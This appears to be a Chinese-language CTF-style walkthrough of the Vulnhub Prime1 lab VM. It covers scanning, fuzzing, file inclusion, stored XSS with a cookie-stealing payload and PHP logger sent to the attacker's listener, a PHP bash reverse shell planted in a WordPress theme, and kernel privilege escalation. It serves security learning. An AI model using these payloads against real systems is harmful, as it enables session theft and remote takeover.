Vulnhub-Prime1

0x00 Introduction

这个靶机更像是在教学,每一句话都有可能是提示,不注意的话就无从下手了。借用这个靶机还复习了下 XSS 漏洞。

0x01 信息收集

首先对所有端口进行 TCP 扫描:

nmap -sT --min-rate 10000 -p- 192.168.86.135

扫两次结果如下:

然后对以上两个端口详细扫描:

nmap -sT -sC -sV -O -p22,80 192.168.86.135 

接下来进行漏洞脚本扫描:

nmap -script=vuln -p22,80 192.168.86.135 

DOS 攻击不做考虑,但是枚举出了两个网站目录,并且得知该网站的 CMS 是 wordpress。

0x02 Web 渗透

浏览器访问 http://192.168.86.135 :

查看网页源代码没什么信息,接下来目录爆破:

gobuster dir -u http://192.168.86.135 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

逐个访问:

搜索 WordPress 5.2.2 相关漏洞,发现有一个 XSS 漏洞,但是是在用户登录之后的发表预览界面:

而且 XSS 漏洞的主要作用是注入并执行恶意 JavaScript 代码,目标是用户的浏览器,而不是服务器。此处复习一下 XSS:XSS详解(概念+靶场演示)反射型与存储型的比较与详细操作_反射型xss-CSDN博客

WordPress 是开源的,查看源代码也没找到入手点。于是搜索 wp,发现/dev的那段话是个提示:你好,现在你在第0级别,在真实的渗透测试中我们会非常努力地使用工具去深挖web,祝你渗透愉快。

刚才使用 gobuster 只扫描出了目录,没有扫描到文件,那么限定后缀名试试:

gobuster dir -u http://192.168.86.135 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,zip,txt

访问 /secret.txt:

提示我们对每一个 php 文件进行模糊测试,并提供了一个工具。完成这一步之后查看 location.txt。

上述扫描结果中出现了 index.php 和 image.php,那么用提供的工具逐个 fuzz。wfuzz 在 kali 里有,不需要下载;

根据以上提示构造如下命令:

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  http://192.168.86.135/index.php?FUZZ=

大部分都是 136Ch,只发现了一个与众不同的 payload:file。于是根据 /secret.txt 中的提示,接下来访问 http://192.168.86.135/index.php?file=location.txt

又是一个提示,那么就访问 http://192.168.86.135/image.php?secrettier360 看看:


告诉我们这是正确参数。到这一步,应该想到能否利用文件包含漏洞。

0x03 文件包含漏洞利用

尝试读取 /etc/passwd :

展示效果不好,还是用 curl 命令看:

主要看有 bash 环境的:root 和 victor 。此外,saket 用户处有一句话:在 /home/saket有 password.txt,那么就访问这个路径:

这会不会就是 victor 用户的密码?登录 CMS 试试:

登录成功。还在后台看到了我之前在评论区提交的 JS 代码。这次在 Posts 页面试试存储型 XSS 攻击。

0x04 XSS 漏洞利用

在输入框输入以下内容:

<a href="javascript:alert(/XSS/)">poc</a>

点击预览,成功触发 XSS 漏洞:

创建个 cookie.php,内容如下:

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","w");
fwrite($log,$cookie."\n");
fclose($log);
?>

在 8000 端口开启个 http 服务:

python3 -m http.server 8000

在输入框输入以下内容:

<a href="javascript:var img=new Image();img.src='http://192.168.86.128:8000/cookie.php?cookie='+encodeURIComponent(document.cookie);">poc</a>

点击 poc 后成功触发漏洞:

看看浏览器中的 cookie 是不是这个:

没错,成功窃取了两个 cookie。由此也知道,要想防御 XSS 攻击窃取 cookie,可以设置 HttpOnly 属性。

0x05 CMS 渗透

言归正传。登录进后台之后,按照常规思路找找有没有文件上传或代码执行的地方。

发现一个可写的 php 文件;

接下来就是常规的执行反弹 shell 的过程了。

<?php
exec("bash -c 'bash -i >& /dev/tcp/192.168.86.128/888 0>&1'");
?>

接下来去触发这个 php 文件。由于 wordpress 是个非常出名的 CMS,直接搜索它的主题代码路径:

该主题是Twenty Nineteen,于是访问的路径应该是:

http://192.168.86.135/wordpress/wp-content/themes/twentynineteen/secret.php

反弹 shell 成功执行:

使用 python 创建一个完全交互式的 shell:

python -c "import pty;pty.spawn('/bin/bash')"

0x06 内核漏洞提权

输入 id, uname -a, sudo-l 查看一些基本信息:

发现一个拥有 sudo 权限的文件,执行一下试试:

发现需要密码,于是放弃。

cat /etc/contab 也没什么可以利用的文件:

既然如此那就上 msf 吧,看看能不能利用内核漏洞提权:

msfconsole
search Linux ubuntu 4.10.0-28-generic

use exploit/linux/local/bpf_sign_extension_priv_esc
show options

首先要通过 ssh 登录,但是使用 CMS 的用户名及密码登录失败了。

再用 linPEAs 试试。本机开一个 http 服务,让靶机下载 linPEAs.sh(靶机没有 curl):

wget http://192.168.86.128:8000/linpeas.sh 

添加执行权限并执行:

选择一个可能的漏洞:

避免文件权限问题,在 /tmp 下载其 poc ,编译并执行,提权成功:

0x07 Conclusion

这个靶机虽然不难,但还是看了 wp 之后才打下来的。内核漏洞提权太看运气,我试了好几个才成功,正确姿势应该是利用我没能找到密码的 /home/saket/enc ,wp 见下方链接:
红队打靶:Prime1详细打靶提权思路之OpenSSL解密(vulnhub)_openssl提权-CSDN博客

但是这种打法太复杂,我现在还理解不了,日后再回来看。